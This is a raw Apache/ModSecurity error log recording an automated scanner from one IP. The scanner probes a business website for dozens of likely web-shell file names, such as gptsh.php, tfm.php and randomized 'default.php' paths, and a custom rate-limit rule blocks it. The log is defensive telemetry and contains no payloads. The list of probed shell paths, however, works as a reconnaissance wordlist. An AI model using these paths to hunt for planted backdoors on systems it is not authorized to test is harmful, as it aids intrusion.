[Fri Apr 17 04:15:47.303274 2026] [:error] [pid 9263:tid 9265] [client 20.166.7.149:10188] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aeFDcxP68VyHNvj1e56YwwAAAMA"]
[Fri Apr 17 04:15:48.865870 2026] [:error] [pid 9263:tid 9285] [client 20.166.7.149:10213] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeFDdBP68VyHNvj1e56YxQAAANQ"]
[Fri Apr 17 04:15:49.790820 2026] [:error] [pid 9153:tid 9218] [client 20.166.7.149:10228] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeFDdeMHGxkTZX3c45e15AAAAIA"]
[Fri Apr 17 04:15:50.885318 2026] [:error] [pid 9153:tid 9226] [client 20.166.7.149:10059] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeFDduMHGxkTZX3c45e17AAAAIg"]
[Fri Apr 17 04:15:51.638189 2026] [:error] [pid 9153:tid 9235] [client 20.166.7.149:10232] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "aeFDd-MHGxkTZX3c45e17wAAAJE"]
[Fri Apr 17 04:15:52.356946 2026] [:error] [pid 9263:tid 9275] [client 20.166.7.149:10062] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeFDeBP68VyHNvj1e56YyAAAAMo"]
[Fri Apr 17 04:15:53.299092 2026] [:error] [pid 9152:tid 9203] [client 20.166.7.149:10104] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeFDeZJYca8I3TNCwIfVFAAAAE0"]
[Fri Apr 17 04:15:54.304800 2026] [:error] [pid 9152:tid 9214] [client 20.166.7.149:10204] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeFDepJYca8I3TNCwIfVFgAAAFg"]
[Fri Apr 17 04:15:55.140620 2026] [:error] [pid 9153:tid 9240] [client 20.166.7.149:29472] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aeFDe-MHGxkTZX3c45e2AgAAAJY"]
[Fri Apr 17 04:15:56.255207 2026] [:error] [pid 9152:tid 9193] [client 20.166.7.149:10235] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeFDfJJYca8I3TNCwIfVGAAAAEM"]
[Fri Apr 17 04:15:57.613374 2026] [:error] [pid 9263:tid 9276] [client 20.166.7.149:10105] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeFDfRP68VyHNvj1e56Y1QAAAMs"]
[Fri Apr 17 04:15:58.686019 2026] [:error] [pid 9152:tid 9204] [client 20.166.7.149:10083] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeFDfpJYca8I3TNCwIfVHgAAAE4"]
[Fri Apr 17 04:15:59.885048 2026] [:error] [pid 9151:tid 9179] [client 20.166.7.149:29380] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aeFDf8hTVuRPkua22vRoCAAAABI"]
[Fri Apr 17 04:16:00.820123 2026] [:error] [pid 9153:tid 9220] [client 20.166.7.149:29471] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aeFDgOMHGxkTZX3c45e2CQAAAII"]
[Fri Apr 17 04:16:01.800517 2026] [:error] [pid 9152:tid 9213] [client 20.166.7.149:10142] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aeFDgZJYca8I3TNCwIfVJgAAAFc"]
[Fri Apr 17 04:16:02.660020 2026] [:error] [pid 9263:tid 9284] [client 20.166.7.149:29484] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aeFDghP68VyHNvj1e56Y6AAAANM"]
[Fri Apr 17 04:16:03.356611 2026] [:error] [pid 9152:tid 9195] [client 20.166.7.149:29462] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aeFDg5JYca8I3TNCwIfVKgAAAEU"]
[Fri Apr 17 04:16:03.925879 2026] [:error] [pid 9152:tid 9197] [client 20.166.7.149:10166] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "aeFDg5JYca8I3TNCwIfVLAAAAEc"]
[Fri Apr 17 04:16:04.723834 2026] [:error] [pid 9153:tid 9235] [client 20.166.7.149:10153] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "aeFDhOMHGxkTZX3c45e2DQAAAJE"]
[Fri Apr 17 04:16:06.298373 2026] [:error] [pid 9151:tid 9178] [client 20.166.7.149:10166] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "aeFDhshTVuRPkua22vRoFwAAABE"]
[Fri Apr 17 04:16:07.162987 2026] [:error] [pid 9152:tid 9194] [client 20.166.7.149:10212] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "aeFDh5JYca8I3TNCwIfVNAAAAEQ"]
[Fri Apr 17 04:16:07.843611 2026] [:error] [pid 9151:tid 9179] [client 20.166.7.149:10071] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeFDh8hTVuRPkua22vRoHgAAABI"]
[Fri Apr 17 04:16:08.446159 2026] [:error] [pid 9152:tid 9213] [client 20.166.7.149:10060] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeFDiJJYca8I3TNCwIfVNgAAAFc"]
[Fri Apr 17 04:16:09.085705 2026] [:error] [pid 9153:tid 9228] [client 20.166.7.149:10192] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeFDieMHGxkTZX3c45e2EwAAAIo"]
[Fri Apr 17 04:16:09.883542 2026] [:error] [pid 9153:tid 9230] [client 20.166.7.149:10114] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeFDieMHGxkTZX3c45e2FwAAAIw"]
[Fri Apr 17 04:16:10.394504 2026] [:error] [pid 9152:tid 9206] [client 20.166.7.149:10141] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "aeFDipJYca8I3TNCwIfVOAAAAFA"]
[Fri Apr 17 04:16:12.101776 2026] [:error] [pid 9263:tid 9267] [client 20.166.7.149:29498] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "aeFDjBP68VyHNvj1e56Y7gAAAMI"]
[Fri Apr 17 04:16:12.788558 2026] [:error] [pid 9263:tid 9272] [client 20.166.7.149:10225] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "aeFDjBP68VyHNvj1e56Y9gAAAMc"]
[Fri Apr 17 04:16:14.448688 2026] [:error] [pid 9263:tid 9270] [client 20.166.7.149:10162] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "aeFDjhP68VyHNvj1e56Y_QAAAMU"]
[Fri Apr 17 04:16:15.360020 2026] [:error] [pid 9151:tid 9183] [client 20.166.7.149:10169] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeFDj8hTVuRPkua22vRoMQAAABY"]
[Fri Apr 17 04:16:16.173760 2026] [:error] [pid 9151:tid 9168] [client 20.166.7.149:10145] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeFDkMhTVuRPkua22vRoNAAAAAc"]
[Fri Apr 17 04:16:17.281652 2026] [:error] [pid 9263:tid 9280] [client 20.166.7.149:10051] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeFDkRP68VyHNvj1e56ZBAAAAM8"]
[Fri Apr 17 04:16:17.955885 2026] [:error] [pid 9151:tid 9177] [client 20.166.7.149:10131] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeFDkchTVuRPkua22vRoOgAAABA"]
[Fri Apr 17 04:16:18.461770 2026] [:error] [pid 9152:tid 9210] [client 20.166.7.149:10100] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeFDkpJYca8I3TNCwIfVTwAAAFQ"]
[Fri Apr 17 04:16:19.225430 2026] [:error] [pid 9263:tid 9286] [client 20.166.7.149:10230] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeFDkxP68VyHNvj1e56ZCQAAANU"]
[Fri Apr 17 04:16:19.879710 2026] [:error] [pid 9263:tid 9265] [client 20.166.7.149:10055] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeFDkxP68VyHNvj1e56ZCwAAAMA"]
[Fri Apr 17 04:16:20.404847 2026] [:error] [pid 9263:tid 9279] [client 20.166.7.149:10158] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeFDlBP68VyHNvj1e56ZDAAAAM4"]
[Fri Apr 17 04:16:21.020507 2026] [:error] [pid 9152:tid 9208] [client 20.166.7.149:29427] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aeFDlZJYca8I3TNCwIfVUQAAAFI"]
[Fri Apr 17 04:16:21.576333 2026] [:error] [pid 9263:tid 9282] [client 20.166.7.149:10124] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "aeFDlRP68VyHNvj1e56ZEgAAANE"]
[Fri Apr 17 04:16:22.333633 2026] [:error] [pid 9263:tid 9266] [client 20.166.7.149:10122] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Fri Apr 17 04:16:23.909544 2026] [:error] [pid 9263:tid 9266] [client 20.166.7.149:10122] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Fri Apr 17 04:16:24.182788 2026] [:error] [pid 9263:tid 9286] [client 20.166.7.149:10122] File does not exist: /usr/local/apache/htdocs/suspended-page/lib.php
[Fri Apr 17 04:16:24.439681 2026] [:error] [pid 9263:tid 9279] [client 20.166.7.149:10122] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Fri Apr 17 04:16:24.693269 2026] [:error] [pid 9263:tid 9281] [client 20.166.7.149:10122] File does not exist: /usr/local/apache/htdocs/suspended-page/file61.php
[Fri Apr 17 04:16:25.123567 2026] [:error] [pid 9263:tid 9272] [client 20.166.7.149:10122] File does not exist: /usr/local/apache/htdocs/suspended-page/uuu.php
[Fri Apr 17 04:16:25.401346 2026] [:error] [pid 9263:tid 9287] [client 20.166.7.149:10122] File does not exist: /usr/local/apache/htdocs/suspended-page/gptsh.php
[Fri Apr 17 04:16:25.667284 2026] [:error] [pid 9263:tid 9275] [client 20.166.7.149:10122] File does not exist: /usr/local/apache/htdocs/suspended-page/mI35rZhMg1zJ1vuXdefault.php
[Fri Apr 17 04:16:25.947486 2026] [:error] [pid 9263:tid 9270] [client 20.166.7.149:10122] File does not exist: /usr/local/apache/htdocs/suspended-page/sid3.php
[Fri Apr 17 04:16:26.226331 2026] [:error] [pid 9263:tid 9285] [client 20.166.7.149:10122] File does not exist: /usr/local/apache/htdocs/suspended-page/ogifomnzqnlvwh5womfjirvaCdefault.php
[Fri Apr 17 04:16:26.479033 2026] [:error] [pid 9263:tid 9280] [client 20.166.7.149:10122] File does not exist: /usr/local/apache/htdocs/suspended-page/Cap.php
[Fri Apr 17 04:16:26.741324 2026] [:error] [pid 9263:tid 9286] [client 20.166.7.149:10122] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "aeFDmhP68VyHNvj1e56ZMAAAANU"]
[Fri Apr 17 04:16:27.308354 2026] [:error] [pid 9152:tid 9198] [client 20.166.7.149:29434] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "aeFDm5JYca8I3TNCwIfVVwAAAEg"]
[Fri Apr 17 04:16:27.983502 2026] [:error] [pid 9263:tid 9269] [client 20.166.7.149:10075] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "aeFDmxP68VyHNvj1e56ZPgAAAMQ"]
[Fri Apr 17 04:16:28.644770 2026] [:error] [pid 9152:tid 9200] [client 20.166.7.149:10068] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "aeFDnJJYca8I3TNCwIfVWQAAAEo"]
[Fri Apr 17 04:16:29.242724 2026] [:error] [pid 9151:tid 9161] [client 20.166.7.149:9922] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "aeFDnchTVuRPkua22vRoUAAAAAA"]
[Fri Apr 17 04:16:29.937309 2026] [:error] [pid 9263:tid 9283] [client 20.166.7.149:10144] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "aeFDnRP68VyHNvj1e56ZTQAAANI"]
[Fri Apr 17 04:16:30.532879 2026] [:error] [pid 9153:tid 9220] [client 20.166.7.149:10058] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "aeFDnuMHGxkTZX3c45e2OgAAAII"]
[Fri Apr 17 04:16:31.146651 2026] [:error] [pid 9263:tid 9273] [client 20.166.7.149:29452] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "aeFDnxP68VyHNvj1e56ZWwAAAMg"]
[Fri Apr 17 04:16:31.669763 2026] [:error] [pid 9152:tid 9208] [client 20.166.7.149:10138] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeFDn5JYca8I3TNCwIfVYwAAAFI"]
[Fri Apr 17 04:16:32.220458 2026] [:error] [pid 9263:tid 9286] [client 20.166.7.149:10107] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeFDoBP68VyHNvj1e56ZZwAAANU"]
[Fri Apr 17 04:16:32.908904 2026] [:error] [pid 9263:tid 9273] [client 20.166.7.149:10177] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeFDoBP68VyHNvj1e56ZcQAAAMg"]
[Fri Apr 17 04:16:33.558663 2026] [:error] [pid 9263:tid 9267] [client 20.166.7.149:29428] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aeFDoRP68VyHNvj1e56ZfAAAAMI"]
